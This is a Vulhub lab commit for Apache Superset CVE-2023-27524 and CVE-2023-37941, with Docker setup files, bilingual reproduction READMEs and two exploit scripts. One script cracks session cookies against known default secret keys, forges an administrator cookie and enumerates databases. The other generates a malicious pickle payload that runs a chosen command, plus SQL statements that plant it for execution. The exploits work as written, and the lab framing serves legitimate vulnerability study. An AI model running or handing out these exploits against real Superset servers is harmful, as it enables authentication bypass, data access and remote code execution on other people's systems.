first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 126 KiB

View File

@@ -0,0 +1,129 @@
from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)
parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')
parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')
parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)
args = parser.parse_args()
try:
u = args.url.rstrip('/') + '/login/'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'
}
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code != 200:
print(f'Error retrieving login page at {u}, status code: {resp.status_code}')
return
session_cookie = None
for c in resp.cookies:
if c.name == 'session':
session_cookie = c.value
break
if not session_cookie:
print('Error: No session cookie found')
return
print(f'Got session cookie: {session_cookie}')
try:
decoded = session.decode(session_cookie)
print(f'Decoded session cookie: {decoded}')
except:
print('Error: Not a Flask session cookie')
return
match = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)
if match:
version = match.group(1)
else:
version = 'Unknown'
print(f'Superset Version: {version}')
for i, k in enumerate(SECRET_KEYS):
cracked = session.verify(session_cookie, k)
if cracked:
break
if not cracked:
print('Failed to crack session cookie')
return
print(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')
try:
user_id = int(args.id)
except:
user_id = args.id
forged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)
print(f'Forged session cookie for user {user_id}: {forged_cookie}')
if args.validate:
validated = False
try:
headers['Cookie'] = f'session={forged_cookie}'
print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')
sleep(args.timeout)
resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)
if resp.status_code == 302:
print(f'Got 302 on login, forged cookie appears to have been accepted')
validated = True
else:
print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
except Exception as e_inner:
print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')
if not validated:
return
print('Enumerating databases')
for i in range(1, 101):
database_url_base = args.url.rstrip('/') + '/api/v1/database'
try:
r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)
if r.status_code == 200:
result = r.json()['result'] # validate response is JSON
name = result['database_name']
print(f'Found database {name}')
elif r.status_code == 404:
print(f'Done enumerating databases')
break # no more databases
else:
print(f'Unexpected error: status code={r.status_code}')
break
except Exception as e_inner:
print(f'Unexpected error: {e_inner}')
break
except Exception as e:
print(f'Unexpected error: {e}')
if __name__ == '__main__':
main()

View File

@@ -0,0 +1,52 @@
# Apache Superset Hardcoded JWT Secret Key Leads to Authentication Bypass (CVE-2023-27524)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
Apache Superset contains a hardcoded JWT secret key vulnerability (CVE-2023-27524). The application ships with a default `SECRET_KEY` value that is used to sign session cookies. When administrators fail to change this default key, attackers can forge valid session cookies and authenticate as any user, including administrators. This allows unauthorized access to the Superset dashboard, connected databases, and potentially leads to remote code execution.
When combined with [CVE-2023-37941](../CVE-2023-37941/README.md), an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability. This documentation only demonstrates the exploitation of CVE-2023-27524.
References:
- <https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/>
- <https://github.com/horizon3ai/CVE-2023-27524>
## Environment Setup
Execute the following command to start an Apache Superset 2.0.1 server:
```
docker compose up -d
```
After the server is started, you can access Superset at `http://your-ip:8088`. The default login credentials are admin/vulhub.
## Vulnerability Reproduction
The vulnerability exists because Superset uses one of following hardcoded default `SECRET_KEY` values:
- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (version < 1.4.1)
- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (version >= 1.4.1)
- `thisISaSECRET_1234` (deployment template)
- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY` (documentation)
- `TEST_NON_DEV_SECRET` (docker compose)
Use [CVE-2023-27524.py](CVE-2023-27524.py) to forge an administrative session (whose user_id is 1) cookie:
```bash
# Install dependencies
pip install -r requirements.txt
# Forge an administrative session (whose user_id is 1) cookie
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
```
This script attempts to crack the session cookie using known default secret keys. If successful, it will forge a new session cookie with user_id=1 (typically the admin user) and validate the login.
![](1.png)
Use this JWT token in the cookie value like `Cookie: session=eyJ...`, you can access the backend endpoint of Superset:
![](2.png)

View File

@@ -0,0 +1,50 @@
# Apache Superset 硬编码JWT密钥导致认证绕过漏洞CVE-2023-27524
Apache Superset是一个开源的数据探索和可视化平台设计为可视化、直观和交互式的数据分析工具。
Apache Superset存在一个硬编码JWT密钥漏洞CVE-2023-27524。该应用程序默认配置了一个预设的`SECRET_KEY`用于签名会话Cookie。当管理员未更改这个默认密钥时攻击者可以伪造有效的会话Cookie并以任意用户包括管理员身份进行认证。这允许未授权访问Superset仪表盘、连接的数据库并可能导致远程代码执行。
当与 [CVE-2023-37941](../CVE-2023-37941/README.md) 结合使用时未经身份验证的攻击者可以先绕过身份验证然后利用反序列化漏洞执行任意代码。不过本文档只展示CVE-2023-27524的利用。
参考链接:
- <https://www.horizon3.ai/attack-research/disclosures/cve-2023-27524-insecure-default-configuration-in-apache-superset-leads-to-remote-code-execution/>
- <https://github.com/horizon3ai/CVE-2023-27524>
## 环境搭建
执行以下命令启动Apache Superset 2.0.1服务器:
```
docker compose up -d
```
服务启动后,可以通过`http://your-ip:8088`访问Superset。默认登录凭据为admin/vulhub。
## 漏洞复现
这个漏洞存在的原因是Superset使用以下硬编码的`SECRET_KEY`作为密钥来签名Cookie
- `\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h` (版本 < 1.4.1)
- `CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET` (版本 >= 1.4.1)
- `thisISaSECRET_1234`
- `YOUR_OWN_RANDOM_GENERATED_SECRET_KEY`
- `TEST_NON_DEV_SECRET`
使用[CVE-2023-27524.py](CVE-2023-27524.py)伪造管理员用户id为1会话Cookie
```bash
# Install dependencies
pip install -r requirements.txt
# Forge an administrative session (whose user_id is 1) cookie
python CVE-2023-27524.py --url http://your-ip:8088 --id 1 --validate
```
该脚本尝试使用已知的默认密钥破解会话Cookie。如果成功它将伪造一个新的会话Cookie其中user_id=1通常是管理员用户并验证登录。
![](1.png)
将这个伪造的JWT令牌添加到Cookie值中`Cookie: session=eyJ...`即可访问Superset的后端API
![](2.png)

View File

@@ -0,0 +1,5 @@
services:
web:
image: vulhub/superset:2.0.1
ports:
- 8088:8088

View File

@@ -0,0 +1,2 @@
flask-unsign==1.2.0
requests

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 53 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 70 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 154 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python3
"""
CVE-2023-37941 exploit script for Apache Superset
This script creates a malicious pickle payload that when deserialized
by Apache Superset will execute the specified command.
Usage:
python CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
-c: Command to execute
-d: Database type (default: sqlite)
"""
import pickle
import base64
import os
import argparse
from binascii import hexlify
class PickleRCE:
def __reduce__(self):
# Reverse shell command
return os.system, (self.cmd,)
def __init__(self, cmd):
self.cmd = cmd
def main():
parser = argparse.ArgumentParser(description='Generate a malicious pickle payload for CVE-2023-37941')
parser.add_argument('-c', '--cmd', required=True, help='Command to execute')
parser.add_argument('-d', '--database', choices=['sqlite', 'mysql', 'postgres'], default='sqlite', help='Database type')
args = parser.parse_args()
# Generate the malicious pickle payload
payload = pickle.dumps(PickleRCE(args.cmd), protocol=0)
# Print the payload in both base64 and hex formats
print("[+] Base64 encoded payload:")
print(base64.b64encode(payload).decode())
print("\n[+] Hex encoded payload (for SQL): ")
if args.database == 'sqlite':
print(r'''update key_value set value=X'{data}' where resource='dashboard_permalink';'''.format(data=hexlify(payload).decode()))
elif args.database == 'mysql':
print(r'''update key_value set value=UNHEX('{data}') where resource='dashboard_permalink';'''.format(data=hexlify(payload).decode()))
elif args.database == 'postgres':
print(r'''update key_value set value='\x{data}' where resource='dashboard_permalink';'''.format(data=hexlify(payload).decode()))
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,70 @@
# Apache Superset Python Pickle Deserialization Leads to RCE (CVE-2023-37941)
[中文版本(Chinese version)](README.zh-cn.md)
Apache Superset is an open-source data exploration and visualization platform designed to be visual, intuitive, and interactive.
Apache Superset versions from 1.5 to 2.1.0 contain a Python Pickle deserialization vulnerability (CVE-2023-37941). The application uses Python's `pickle` package to store certain configuration data in the metadata database. An authenticated user with write access to the metadata database can insert a malicious pickle payload, which when deserialized by the application, leads to remote code execution on the Superset server.
When combined with [CVE-2023-27524](../CVE-2023-27524), an unauthenticated attacker can achieve remote code execution by first bypassing authentication and then exploiting the deserialization vulnerability.
References:
- <https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/>
- <https://github.com/Barroqueiro/CVE-2023-37941>
- <https://forum.butian.net/share/2458>
## Environment Setup
Execute the following command to start an Apache Superset 2.0.1 server:
```
docker compose up -d
```
After the server is started, you can access Superset at `http://your-ip:8088`. The default login credentials are admin/vulhub.
## Vulnerability Reproduction
The following steps assume you have already generate a valid session cookie and logged into the Dashboard through the [CVE-2023-27524](../CVE-2023-27524) vulnerability.
First, create a new "Dashboard" and generate a permalink by clicking the "Share" button, copy this permalink and we will use it later:
![](1.png)
Then, create a new "Database" connection by following the steps below:
1. Navigate to "Data" → "Databases" in the Superset UI
2. Click "+ Database" to add a new database connection
3. Enter a name for the database (e.g., "SQLite")
4. For the SQLAlchemy URI, use: `sqlite+pysqlite:////app/superset_home/superset.db`
5. Expand "Advanced" and check "Expose in SQL Lab" and "Allow DML"
6. Save the database configuration
![](2.png)
![](3.png)
Then, use [CVE-2023-37941.py](CVE-2023-37941.py) to generate a malicious SQL command (the `-d` option can be `sqlite`, `mysql`, or `postgres`, means the database type of the Superset server, here is `sqlite` in Vulhub):
```shell
$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
[+] Base64 encoded payload:
Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=
[+] Hex encoded payload (for SQL):
update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';
```
> [!NOTE]
> Because the `pickle` deserialization payload is different for different operating systems, you need to run the POC on Linux or MacOS.
Execute the generated SQL command in the SQL Lab:
![](4.png)
Finally, trigger the deserialization by accessing the permalink:
![](5.png)
As you can see, the `touch /tmp/success` command has been executed successfully.

View File

@@ -0,0 +1,68 @@
# Apache Superset Python Pickle 反序列化导致远程代码执行CVE-2023-37941
Apache Superset是一个开源的数据探索和可视化平台设计为可视化、直观和交互式的数据分析工具。
Apache Superset 1.5至2.1.0版本中存在一个Python Pickle反序列化漏洞CVE-2023-37941。该应用程序使用Python的`pickle`包来在元数据数据库中存储特定的配置数据。具有元数据数据库写入权限的已认证用户可以插入恶意的Pickle有效载荷当应用程序反序列化这些数据时会导致Superset服务器上的远程代码执行。
当与[CVE-2023-27524](../CVE-2023-27524)结合使用时,未经身份验证的攻击者可以先绕过身份验证,然后利用反序列化漏洞执行任意代码。
参考链接:
- <https://www.horizon3.ai/attack-research/disclosures/apache-superset-part-ii-rce-credential-harvesting-and-more/>
- <https://github.com/Barroqueiro/CVE-2023-37941>
- <https://forum.butian.net/share/2458>
## 环境搭建
执行以下命令启动Apache Superset 2.0.1服务器:
```
docker compose up -d
```
服务启动后,可以通过`http://your-ip:8088`访问 Superset。默认登录凭据为admin/vulhub。
## 漏洞复现
执行以下步骤前,假设你已经通过[CVE-2023-27524](../CVE-2023-27524)漏洞生成有效的会话Cookie并登录到仪表板。
首先,创建一个新的"Dashboard",并通过点击"Share"按钮生成一个永久链接,复制这个永久链接,稍后将会用到:
![](1.png)
然后,按照以下步骤创建一个新的"Database"
1. 导航到"Data"→"Databases"
2. 点击"+ Database"添加一个新的数据库连接
3. 输入数据库名称(比如"SQLite"
4. 这里请填写:`sqlite+pysqlite:////app/superset_home/superset.db`
5. 展开"Advanced"并勾选"Expose in SQL Lab"和"Allow DML"
6. 保存数据库配置
![](2.png)
![](3.png)
然后,使用[CVE-2023-37941.py](CVE-2023-37941.py)生成恶意SQL命令`-d`选项可以是`sqlite``mysql``postgres`表示Superset服务器的数据库类型在Vulhub中是`sqlite`
```shell
$ python3 CVE-2023-37941.py -c "touch /tmp/success" -d sqlite
[+] Base64 encoded payload:
Y3Bvc2l4CnN5c3RlbQpwMAooVnRvdWNoIC90bXAvc3VjY2VzcwpwMQp0cDIKUnAzCi4=
[+] Hex encoded payload (for SQL):
update key_value set value=X'63706f7369780a73797374656d0a70300a2856746f756368202f746d702f737563636573730a70310a7470320a5270330a2e' where resource='dashboard_permalink';
```
> [!注意]
> 因为`pickle`反序列化的Payload在不同操作系统上是不同的所以你需要在Linux或MacOS上生成Payload。
在SQL Lab中执行生成的SQL命令
![](4.png)
最后,通过访问前面复制的永久链接触发反序列化:
![](5.png)
可见,`touch /tmp/success`命令已成功执行。

View File

@@ -0,0 +1,5 @@
services:
web:
image: vulhub/superset:2.0.1
ports:
- 8088:8088